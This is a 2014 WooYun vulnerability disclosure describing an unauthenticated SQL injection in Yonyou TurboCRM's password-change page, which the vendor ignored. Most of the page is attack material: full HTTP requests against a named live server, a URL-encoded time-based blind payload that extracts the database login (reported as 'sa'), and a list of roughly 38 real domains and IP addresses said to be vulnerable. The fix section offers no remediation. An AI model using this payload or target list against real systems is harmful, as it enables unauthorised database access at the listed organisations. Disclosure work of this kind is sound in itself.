当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076114

漏洞标题:用友CRM注入漏洞(无需登录通杀所有版本)

相关厂商:用友软件

漏洞作者: ToySweet

提交时间:2014-09-15 13:51

修复时间:2014-12-11 13:52

公开时间:2014-12-11 13:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-15: 细节已通知厂商并且等待厂商处理中
2014-09-20: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-11-14: 细节向核心白帽子及相关领域专家公开
2014-11-24: 细节向普通白帽子公开
2014-12-04: 细节向实习白帽子公开
2014-12-11: 细节向公众公开

简要描述:

用友某系统注入漏洞,无需登录,通杀所有版本

详细说明:

用友TurboCRM存在通用sql注入。
http://crm.varsal.com.cn:8081/login/login.php
如下图找到找回密码页

wooyun.jpg


访问
http://crm.varsal.com.cn:8081/login/changepswd.php?orgcode=1&loginname=system

wooyun1.png


输入信息抓包

POST /login/changepswd.php?orgcode=1&loginname=system HTTP/1.1
Host: crm.varsal.com.cn:8081
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://crm.varsal.com.cn:8081/login/changepswd.php?orgcode=1&loginname=system
Content-Length: 95
Cookie: PHPSESSID=8a4jg4pb034v5dcbachfllljd1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
submit=1&oldpassword=aaaaa&password=aaaaaa&confirmpswd=aaaaaa&orgcode=1&loginname=system&key=-1


wooyun2.png


算法:Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
影响
218.94.82.23
prm.ufida.com.cn
crm.landwind.com.cn
crm.szclou.com
http://yindajituan.gicp.net:8888
182.135.191.86
111.40.0.242:9091
222.171.32.36:9091
219.90.119.35:8081
180.168.98.94:8088
prm.yonyou.com
www.kdlian.com:8001
prm.chanjet.com
qinyuancrm.com
kfdq369.gicp.net
220.113.5.194
218.84.134.162:8088
turbocrm.yofc.com
crm.elfa.com.cn
crm.pearmain.cn
nc.shineroad.com
crm.westernpower.cn
crm7.abgroup.cn
crm.transn.net
zh4433.vicp.net
218.108.86.226
crm.yiwenkeji.com:8080
218.95.66.88:9036
crm.digisystem.com.cn:8080
crm.shineroad.com
crm.siweidg.com
222.41.174.190:8088
117.36.76.254:8080
hq.longmanschools.com.cn:8080
59.50.33.86:9000
182.135.191.87
crm.szclou.com:8088
58.220.225.28:8080

漏洞证明:

POC

POST /login/changepswd.php?orgcode=1&loginname=system HTTP/1.1
Accept-language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox
32.0
Host: crm.varsal.com.cn:8081
Referer: http://crm.varsal.com.cn:8081/login/changepswd.php?orgcode=1&loginname
system
Pragma: no-cache
Cache-control: no-cache
X-Requested-With: XMLHttpRequest
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=8a4jg4pb034v5dcbachfllljd1
Content-length: 276
Connection: close
submit=1&oldpassword=aaaaa&password=aaaaaa&confirmpswd=aaaaaa&orgcode=1%27%20IF
28UNICODE%28SUBSTRING%28%28SELECT%20ISNULL%28CAST%28SYSTEM_USER%20AS%20NVARCHAR
284000%29%29%2CCHAR%2832%29%29%29%2C3%2C1%29%29%3E1%29%20WAITFOR%20DELAY%20%270
3A0%3A1%27--&loginname=system&key=-1


用户sa
还有一系列用友

修复方案:

你懂得

版权声明:转载请注明来源 ToySweet@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-11 13:52

厂商回复:

最新状态:

暂无


漏洞评价:

评论